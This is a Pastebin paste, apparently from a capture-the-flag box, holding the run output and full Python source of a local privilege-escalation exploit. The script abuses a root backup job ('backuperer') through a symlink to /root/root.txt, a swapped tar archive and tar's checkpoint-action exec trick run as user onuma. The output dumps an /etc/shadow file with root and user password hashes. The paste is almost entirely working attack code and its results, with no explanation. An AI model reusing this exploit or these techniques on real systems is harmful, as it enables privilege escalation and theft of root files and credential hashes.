Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- 2018-10-20 20:11:34 (1.22 MB/s) - 'pr.py' saved [4069/4069]
- tar: =: Cannot stat: No such file or directory
- tar: 1: Cannot stat: No such file or directory
- tar: Exiting with failure status due to previous errors
- md5sum: /var/tmp/.c82fe9f2b8bea98f63082f9a9b93126622ce9225: No such file or directory
- started right
- we made boobies.txt
- at: 2018-10-20 20:11:34.197073
- file: maltar.tar
- created at: 2018-10-20 20:11:37.696956
- is there boobie.txt?
- looking for backuperer at: 2018-10-20 20:11:37.701836
- backuperer ran at: 2018-10-20 20:14:36.403676
- looking for tar at: 2018-10-20 20:14:36.403755
- tar ran at: 2018-10-20 20:14:36.430376
- looking for sleep at: 2018-10-20 20:14:36.430466
- sleep ran at: 2018-10-20 20:14:36.584684
- waiting 15 sec start now: 2018-10-20 20:14:36.585087
- has it been 5 seconds?2018-10-20 20:14:51.599604
- lets find that tmpfile name
- .c82fe9f2b8bea98f63082f9a9b93126622ce9225
- is the tmpfile name
- found at: 2018-10-20 20:14:51.610177
- looking for diff at: 2018-10-20 20:14:51.610313
- diff ran at: 2018-10-20 20:15:10.440292
- hash for legit tar: 8cf02df8336fac53023e2228bde190e8 /var/tmp/.c82fe9f2b8bea98f63082f9a9b93126622ce9225
- makin copies of .c82fe9f2b8bea98f63082f9a9b93126622ce9225
- at: 2018-10-20 20:15:10.440399
- new tar hash:
- hash should be near /
- < <!--Carry on, nothing to see here :D-->
- >
- > root:$6$AKRzYZby$Q88P1RTNm6Ho39GencM8qFL8hkhF0GmIhYAdxlIuHVv50BTTXvIH2rzgWOCkZOQDSuWo6gWQ2gXoePj8Rwthm0:17582:0:99999:7:::
- > daemon:*:17379:0:99999:7:::
- > bin:*:17379:0:99999:7:::
- > sys:*:17379:0:99999:7:::
- > sync:*:17379:0:99999:7:::
- > games:*:17379:0:99999:7:::
- > man:*:17379:0:99999:7:::
- > lp:*:17379:0:99999:7:::
- > mail:*:17379:0:99999:7:::
- > news:*:17379:0:99999:7:::
- > uucp:*:17379:0:99999:7:::
- > proxy:*:17379:0:99999:7:::
- > www-data:*:17379:0:99999:7:::
- > backup:*:17379:0:99999:7:::
- > list:*:17379:0:99999:7:::
- > irc:*:17379:0:99999:7:::
- > gnats:*:17379:0:99999:7:::
- > nobody:*:17379:0:99999:7:::
- > systemd-timesync:*:17379:0:99999:7:::
- > systemd-network:*:17379:0:99999:7:::
- > systemd-resolve:*:17379:0:99999:7:::
- > systemd-bus-proxy:*:17379:0:99999:7:::
- > syslog:*:17379:0:99999:7:::
- > _apt:*:17379:0:99999:7:::
- > lxd:*:17571:0:99999:7:::
- > mysql:!:17571:0:99999:7:::
- > messagebus:*:17571:0:99999:7:::
- > uuidd:*:17571:0:99999:7:::
- > dnsmasq:*:17571:0:99999:7:::
- > sshd:*:17571:0:99999:7:::
- > onuma:$6$P9azUgRM$U9lw7gpIvIVv1UK9zzzakd9mVwNeusjtWvYfHpS5qcMqLqoa9O3c1iARol1h7Aa8Tqroif.jtKxrLX5XOf/9c0:17571:0:99999:7:::
- Thanks again man... full script below..
- #!/usr/bin/env python
- from os import system
- import datetime
- import os
- import subprocess
- import time
- count = 0
- global process_name
- process_name = "backuperer"
- global tarunnin
- tarunnin = "tar"
- global sleepyet
- sleepyet = "sleep"
- global wtdiff
- wtdiff = "diff"
- global maltar
- maltar = "maltar.tar"
- #def cleanup():
- # tmp = os.popen("rm maltar.tar shell.sh")
- # print "clean slate bitches"
- # return
- def create_simlink():
- simlinktest = os.popen("ln -s /root/root.txt /var/www/html/boobies.txt").read()
- simthere = os.popen("ls -a /var/www/html/ | grep -E 'boobies.txt'").read()
- print ("we made " + str(simthere) + " at: " + str(datetime.datetime.now()))
- print ""
- return
- def create_mal_tar():# error here somewhere, zcvfP ??
- tmp = os.popen("tar zvcPf " + maltar + " /var/www/html/").read()
- tmpchk = os.popen("ls -a " + str(maltar)).read()
- print ("file: " + str(tmpchk) + " created at: " + str(datetime.datetime.now()))
- print ""
- return
- def rm_simlink():
- tmp = os.popen("rm /var/www/html/boobies.txt").read()
- tmpchk = os.popen("ls /var/www/html/ |grep boob*").read()
- print ("is there boobie.txt? " + str(tmpchk))
- print ""
- return
- def check_process(prcssname):
- print ("looking for " + prcssname + " at: " + str(datetime.datetime.now()))
- while True:
- tmp = os.popen("ps -e").read()
- if prcssname not in tmp[:]:
- continue
- else:
- dttime = datetime.datetime.now()
- print (prcssname + " ran at: " + str(dttime))
- print ""
- break
- return
- def check_for_tmpfile():
- print "lets find that tmpfile name"
- while True:
- global tmpfile
- tmpfile = os.popen("ls -a /var/tmp |grep -E '[.]\w{10,}'").read()
- if tmpfile == "":
- continue #keep tryin
- else:
- dttime = datetime.datetime.now()
- print (tmpfile + " is the tmpfile name")
- print ("found at: " + str(dttime))
- print ""
- break
- return
- def tmpfile_check():
- print ("tmpfile variable really global? " + str(tmpfile))
- print ""
- return
- def makin_copies(newtar):
- dttime = datetime.datetime.now()
- tmphash = os.popen("md5sum /var/tmp/" + str(tmpfile)).read()
- print ""
- print ("hash for legit tar: " + str(tmphash))
- print ""
- tmp = "#!/bin/bash"
- print ("makin copies of " + str(newtar) + " at: " + str(dttime))
- tmpsh = os.popen("echo '" + str(tmp) + "' >> shell.sh").read()
- tmpsh = os.popen("echo 'cp " + maltar + " /var/tmp/" + tmpfile + "' >> shell.sh").read()
- tmpsh = os.popen("chmod +x ./shell.sh").read()
- tmpsh = os.popen("sudo -u onuma tar cf /tmp/archive.tar --checkpoint = 1 --checkpoint-action=exec=sh shell.sh").read()
- tmphash = os.popen("md5sum /var/tmp/" + str(tmpfile)).read()
- print ("new tar hash: " + str(tmphash))
- print ""
- return
- def sleep_a_sec():
- dttime = datetime.datetime.now()
- print ("waiting 15 sec start now: " + str(dttime))
- time.sleep(15)
- dttime = datetime.datetime.now()
- print ("has it been 5 seconds?" + str(dttime))
- print ""
- return
- def cat_log():
- #tmp = os.popen("cat /var/backups/onuma_backup_error.txt |grep boobies.txt").read()
- tmp = os.popen("tail -n 50 /var/backups/onuma_backup_error.txt | grep \>").read()
- print "hash should be near /"
- print ""
- print str(tmp)
- exit
- #cleanup()
- startshitright = os.popen("rmdir /var/tmp/.b && mkdir /var/tmp/.b && cd /var/tmp/.b").read()
- print "started right"
- create_simlink()
- create_mal_tar()
- rm_simlink()
- check_process(process_name)
- check_process(tarunnin)
- check_process(sleepyet)
- sleep_a_sec()
- check_for_tmpfile()
- #makin_copies(tmpfile)
- check_process(wtdiff)
- #time.sleep(25)
- makin_copies(tmpfile)
- cat_log()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement